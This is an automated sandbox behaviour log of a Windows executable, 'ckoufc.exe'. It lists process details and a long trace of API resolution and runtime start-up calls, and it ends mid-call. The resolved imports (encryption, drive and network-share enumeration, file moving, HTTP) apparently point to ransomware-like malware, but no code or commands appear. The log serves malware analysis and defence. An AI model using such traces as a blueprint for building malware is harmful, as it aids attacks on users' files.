# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 15 2019 18:28:42 # Log Creation Date: 23.05.2019 20:39:06.202 Process: id = "1" image_name = "ckoufc.exe" filename = "c:\\users\\fd1hvy\\desktop\\ckoufc.exe" page_root = "0x73fbc000" os_pid = "0x47c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x46c [0040.889] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x75e90000 [0040.890] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0040.890] GetProcAddress (hModule=0x75e90000, lpProcName="OutputDebugStringW") returned 0x75ea5d10 [0040.890] GetProcAddress (hModule=0x75e90000, lpProcName="FindResourceW") returned 0x75ea4aa0 [0040.890] GetProcAddress (hModule=0x75e90000, lpProcName="GetDriveTypeW") returned 0x75efeed0 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="GetWindowsDirectoryW") returned 0x75ea5730 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileW") returned 0x75eff3b0 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="SetPriorityClass") returned 0x75ea65c0 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="GetConsoleWindow") returned 0x75ee9b20 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0040.891] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileExW") returned 0x75ea4370 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryW") returned 0x75ea5ae0 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDriveStringsW") returned 0x75efefb0 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0040.892] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcatW") returned 0x75ee71a0 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemInfo") returned 0x75ea54d0 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="SizeofResource") returned 0x75ea6740 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="LoadResource") returned 0x75ea5b00 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="UnregisterWaitEx") returned 0x75ea6910 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="QueryDepthSList") returned 0x77c152d0 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="InterlockedPopEntrySList") returned 0x77bf5840 [0040.893] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseSemaphore") returned 0x75efec30 [0040.894] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualProtect") returned 0x75ea6a30 [0040.894] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualFree") returned 0x75ea69d0 [0040.894] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualAlloc") returned 0x75ea6970 [0040.894] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersionExW") returned 0x75ea56f0 [0040.894] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0040.894] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadTimes") returned 0x75ea55e0 [0040.894] GetProcAddress (hModule=0x75e90000, lpProcName="UnregisterWait") returned 0x75edc850 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="LocalFree") returned 0x75ea5b40 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointer") returned 0x75eff120 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="LockResource") returned 0x75ea5bc0 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="SetEvent") returned 0x75efec50 [0041.051] GetProcAddress (hModule=0x75e90000, lpProcName="ResetEvent") returned 0x75efec40 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObjectEx") returned 0x75efecb0 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="CreateEventW") returned 0x75efeb30 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="IsProcessorFeaturePresent") returned 0x75ea5960 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="UnhandledExceptionFilter") returned 0x75ea68d0 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="SetUnhandledExceptionFilter") returned 0x75ea6720 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="GetStartupInfoW") returned 0x75ea5320 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentThreadId") returned 0x75ea8820 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTimeAsFileTime") returned 0x75ea5530 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeSListHead") returned 0x77c16680 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0041.052] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="MultiByteToWideChar") returned 0x75ea5c40 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="GetStringTypeW") returned 0x75ea53b0 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="DuplicateHandle") returned 0x75efeac0 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentThread") returned 0x75ea8810 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="GetExitCodeThread") returned 0x75ea4ff0 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="TryEnterCriticalSection") returned 0x77c0aae0 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="SetLastError") returned 0x75ea4f00 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="TlsAlloc") returned 0x75ea6820 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="TlsGetValue") returned 0x75ea6850 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="TlsSetValue") returned 0x75ea6870 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="TlsFree") returned 0x75ea6830 [0041.053] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="LCMapStringW") returned 0x75ea5a60 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoW") returned 0x75ea5040 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="GetCPInfo") returned 0x75ea4d10 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="RaiseException") returned 0x75ea5e20 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="RtlUnwind") returned 0x75ea7c10 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibrary") returned 0x75ea4c40 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryExW") returned 0x75ea5ac0 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="InterlockedPushEntrySList") returned 0x77bf2810 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="InterlockedFlushSList") returned 0x77c12a20 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleExW") returned 0x75ea5110 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameA") returned 0x75ea5070 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="GetStdHandle") returned 0x75ea5330 [0041.054] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineA") returned 0x75ea4cb0 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="GetACP") returned 0x75ea4ca0 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="ExitThread") returned 0x77c16390 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibraryAndExitThread") returned 0x75ea4c60 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileType") returned 0x75efef60 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="IsValidLocale") returned 0x75ea5a00 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="GetUserDefaultLCID") returned 0x75ea56a0 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="EnumSystemLocalesW") returned 0x75ea49c0 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileExA") returned 0x75efedc0 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileA") returned 0x75efee20 [0041.055] GetProcAddress (hModule=0x75e90000, lpProcName="IsValidCodePage") returned 0x75ea59c0 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="GetOEMCP") returned 0x75ea5160 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="GetEnvironmentStringsW") returned 0x75ea4eb0 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="FreeEnvironmentStringsW") returned 0x75ea4c20 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="SetEnvironmentVariableA") returned 0x75ea64c0 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="SetStdHandle") returned 0x75ea6620 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="HeapSize") returned 0x77c0a790 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="FlushFileBuffers") returned 0x75efee70 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="GetConsoleCP") returned 0x75eff440 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="GetConsoleMode") returned 0x75eff450 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="WriteConsoleW") returned 0x75eff500 [0041.056] GetProcAddress (hModule=0x75e90000, lpProcName="CreateTimerQueue") returned 0x75ea46e0 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="SignalObjectAndWait") returned 0x75ea8120 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="SwitchToThread") returned 0x75ea6790 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadPriority") returned 0x75ea66c0 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadPriority") returned 0x75ea5610 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalProcessorInformation") returned 0x75ea71b0 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="CreateTimerQueueTimer") returned 0x75ea46f0 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="ChangeTimerQueueTimer") returned 0x75ea43f0 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteTimerQueueTimer") returned 0x75ea4780 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="GetNumaHighestNodeNumber") returned 0x75ea75e0 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessAffinityMask") returned 0x75ee3230 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadAffinityMask") returned 0x75ee6e40 [0041.057] GetProcAddress (hModule=0x75e90000, lpProcName="RegisterWaitForSingleObject") returned 0x75edc7d0 [0041.057] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x761b0000 [0041.057] GetProcAddress (hModule=0x761b0000, lpProcName="CryptReleaseContext") returned 0x761cfbc0 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyW") returned 0x761cf460 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="CryptEncrypt") returned 0x761e2cf0 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="CryptGenRandom") returned 0x761d0730 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="CryptDestroyKey") returned 0x761cfa60 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="GetUserNameW") returned 0x761cf890 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="CryptAcquireContextW") returned 0x761cfa40 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0041.058] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0041.058] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x74940000 [0041.058] GetProcAddress (hModule=0x74940000, lpProcName="CryptImportPublicKeyInfo") returned 0x7496cfe0 [0041.058] GetProcAddress (hModule=0x74940000, lpProcName="CryptStringToBinaryW") returned 0x7495ceb0 [0041.059] GetProcAddress (hModule=0x74940000, lpProcName="CryptDecodeObjectEx") returned 0x74985e90 [0041.059] GetProcAddress (hModule=0x74940000, lpProcName="CryptBinaryToStringW") returned 0x7495c670 [0041.059] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x73170000 [0041.059] GetProcAddress (hModule=0x73170000, lpProcName="WNetOpenEnumW") returned 0x73172790 [0041.059] GetProcAddress (hModule=0x73170000, lpProcName="WNetEnumResourceW") returned 0x73172410 [0041.059] GetProcAddress (hModule=0x73170000, lpProcName="WNetCloseEnum") returned 0x73172640 [0041.059] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74b70000 [0041.059] GetProcAddress (hModule=0x74b70000, lpProcName="ShowWindow") returned 0x74ba3ee0 [0041.059] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0041.059] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x72ea0000 [0041.059] GetProcAddress (hModule=0x72ea0000, lpProcName="InternetOpenW") returned 0x72fbe9e0 [0041.059] GetProcAddress (hModule=0x72ea0000, lpProcName="HttpSendRequestW") returned 0x72fc9490 [0041.059] GetProcAddress (hModule=0x72ea0000, lpProcName="HttpQueryInfoW") returned 0x730286e0 [0041.059] GetProcAddress (hModule=0x72ea0000, lpProcName="InternetCloseHandle") returned 0x72fad000 [0041.060] GetProcAddress (hModule=0x72ea0000, lpProcName="HttpOpenRequestW") returned 0x7301bdd0 [0041.060] GetProcAddress (hModule=0x72ea0000, lpProcName="InternetReadFile") returned 0x72fd3a70 [0041.060] GetProcAddress (hModule=0x72ea0000, lpProcName="InternetConnectW") returned 0x72fae000 [0041.060] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x19ff60 | out: lpflOldProtect=0x19ff60*=0x2) returned 1 [0041.072] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x19ff60 | out: lpflOldProtect=0x19ff60*=0x4) returned 1 [0041.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19ff70 | out: lpSystemTimeAsFileTime=0x19ff70*(dwLowDateTime=0xa92a182d, dwHighDateTime=0x1d511a7)) [0041.072] GetCurrentThreadId () returned 0x46c [0041.072] GetCurrentProcessId () returned 0x47c [0041.072] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff68 | out: lpPerformanceCount=0x19ff68*=13235119190) returned 1 [0041.072] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0041.072] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0041.072] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0041.072] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0041.072] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0041.073] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0041.073] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0041.073] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0041.073] GetProcessHeap () returned 0x520000 [0041.073] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0041.073] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0041.073] GetLastError () returned 0xcb [0041.073] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0041.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x364) returned 0x538b78 [0041.074] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0041.074] SetLastError (dwErrCode=0xcb) [0041.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xc00) returned 0x53af18 [0041.075] GetStartupInfoW (in: lpStartupInfo=0x19fe98 | out: lpStartupInfo=0x19fe98*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4118f0, hStdOutput=0xbc7c5967, hStdError=0xfffffffe)) [0041.075] GetStdHandle (nStdHandle=0xfffffff6) returned 0x8c [0041.075] GetFileType (hFile=0x8c) returned 0x2 [0041.075] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0041.075] GetFileType (hFile=0x90) returned 0x2 [0041.075] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0041.075] GetFileType (hFile=0x94) returned 0x2 [0041.075] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe\" " [0041.075] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe\" " [0041.075] GetLastError () returned 0xcb [0041.075] SetLastError (dwErrCode=0xcb) [0041.075] GetLastError () returned 0xcb [0041.075] SetLastError (dwErrCode=0xcb) [0041.075] GetACP () returned 0x4e4 [0041.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x220) returned 0x5378f0 [0041.076] IsValidCodePage (CodePage=0x4e4) returned 1 [0041.076] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fec8 | out: lpCPInfo=0x19fec8) returned 1 [0041.076] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f790 | out: lpCPInfo=0x19f790) returned 1 [0041.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x19f528, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0041.076] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19f7a4 | out: lpCharType=0x19f7a4) returned 1 [0041.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0041.076] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x19f4d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0041.076] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0041.076] GetProcAddress (hModule=0x74ea0000, lpProcName="LCMapStringEx") returned 0x74f7ed00 [0041.076] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0041.076] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f2c8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0041.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 